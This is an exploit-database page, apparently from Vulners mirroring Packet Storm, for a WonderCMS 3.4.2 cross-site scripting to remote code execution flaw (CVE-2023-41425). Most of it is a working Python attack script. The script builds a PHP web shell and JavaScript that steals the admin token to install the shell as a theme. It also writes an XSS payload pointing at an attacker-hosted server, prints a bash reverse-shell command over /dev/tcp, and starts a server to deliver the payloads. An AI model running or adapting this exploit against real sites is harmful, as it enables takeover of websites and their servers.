Lucene search
+L

📄 WonderCMS 3.4.2 Cross Site Scripting / Code Execution

🗓️ 21 Apr 2025 00:00:00Reported by Milad KarimiType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 237 Views

Exploit for WonderCMS 3.4.2 allowing Cross Site Scripting to Remote Code Execution.

Related
Code
# Exploit Title: WonderCMS v3.4.2 XSS to RCE
    # Date: 2025-04-16
    # Exploit Author: Milad Karimi (Ex3ptionaL)
    # Contact: [email protected]
    # Zone-H: www.zone-h.org/archive/notifier=Ex3ptionaL
    # MiRROR-H: https://mirror-h.org/search/hacker/49626/
    # CVE: CVE-2023-41425
    
    import requests
    import argparse
    from argparse import RawTextHelpFormatter
    import os
    import subprocess
    import zipfile
    from termcolor import colored
    
    def main():
        parser = argparse.ArgumentParser(description="Exploit Wonder CMS v3.4.2
    XSS to RCE", formatter_class=RawTextHelpFormatter)
        parser.add_argument("--url", required=True, help="Target URL of
    loginURL (Example: http://sea.htb/loginURL)")
        parser.add_argument("--xip", required=True, help="IP for HTTP web
    server that hosts the malicious .js file")
        parser.add_argument("--xport", required=True, help="Port for HTTP web
    server that hosts the malicious .js file")
        args = parser.parse_args()
    
        target_login_url = args.url
        target_split = args.url.split('/')
        target_url = target_split[0] + '//' + target_split[2]
    
        # Web Shell
        print("[+] Creating PHP Web Shell")
        if not os.path.exists('malicious'):
            os.mkdir('malicious')
            with open ('malicious/malicious.php', 'w') as f:
                f.write('<?php system($_GET["cmd"]); ?>')
            with zipfile.ZipFile('./malicious.zip', 'w') as z:
                z.write('malicious/malicious.php')
            os.remove('malicious/malicious.php')
            os.rmdir('malicious')
        else:
            print(colored("[!] Directory malicious already exists!", 'yellow'))
    
        # Malicious .js
        js = f'''var token =
    document.querySelectorAll('[name="token"]')[0].value;
    var module_url =
    "{target_url}/?installModule=http://{args.xip}:{args.xport}/malicious.zip&directoryName=pwned&type=themes&token="
    + token;
    var xhr = new XMLHttpRequest();
    xhr.withCredentials = true;
    xhr.open("GET", module_url);
    xhr.send();'''
    
        print("[+] Writing malicious.js")
        with open('malicious.js', 'w') as f:
            f.write(js)
    
    
        xss_payload = args.url.replace("loginURL",
    "index.php?page=loginURL?")+"\"></form><script+src=\"http://
    "+args.xip+":"+args.xport+"/malicious.js\"></script><form+action=\""
        print("[+] XSS Payload:")
        print(colored(f"{xss_payload}", 'red'))
    
        print("[+] Web Shell can be accessed once .zip file has been
    requested:")
    
    print(colored(f"{target_url}/themes/malicious/malicious.php?cmd=<COMMAND>",
    'red'))
        print("[+] To get a reverse shell connection run the following:")
        print(colored(f"curl -s '{target_url}/themes/malicious/malicious.php'
    --get --data-urlencode \"cmd=bash -c 'bash -i >& /dev/tcp/<LHOST>/<LPORT>
    0>&1'\" ", 'yellow'))
    
        print("[+] Starting HTTP server")
        subprocess.run(["python3", "-m", "http.server", "-b", args.xip,
    args.xport])
    
    if __name__ == "__main__":
        main()

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

21 Apr 2025 00:00Current
6.3Medium risk
Vulners AI Score6.3
CVSS 3.16.1
EPSS0.54305
SSVC
237